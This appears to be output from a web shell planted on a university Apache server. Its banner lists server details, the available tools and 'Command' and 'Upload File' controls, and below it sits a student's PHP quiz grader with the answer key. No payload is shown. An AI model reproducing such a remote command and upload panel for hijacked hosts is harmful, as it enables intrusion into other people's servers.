Server IP : 172.16.15.8 / Your IP : 18.218.71.21 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/kabaines/public_html/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!-- ConeVolume --> <CENTER> <h1>Web Exam</h1> <hr> <?php $a1 = $_POST["q1"]; $a2 = $_POST["q2"]; $a3 = $_POST["q3"]; $a4 = $_POST["q4"]; $sum = 0; if ($a1 == r1) { print("Question 1: Correct!<p>"); $sum += 1; } else print("Question 1: Incorrect! The correct answer is A) 7.5<p>"); if ($a2 == r2) { print("Question 2: Correct!<p>"); $sum += 1; } else print("Question 2: Incorrect! The correct answer is B) 2<p>"); if ($a3 == r3) { print("Question 3: Correct!<p>"); $sum += 1; } else print("Question 3: Incorrect! The correct answer is C) 2<p>"); if ($a4 == r4) { print("Question 4: Correct!<p>"); $sum += 1; } else print("Question 4: Incorrect! The correct answer is D) 4PI<p>"); $p = 100 * $sum / 4; print("Percent Correct: $p%<p>"); ?> <hr> <A HREF=index.html>Return Home</A> | <A HREF=WebExam.html>Resubmit</A> </CENTER>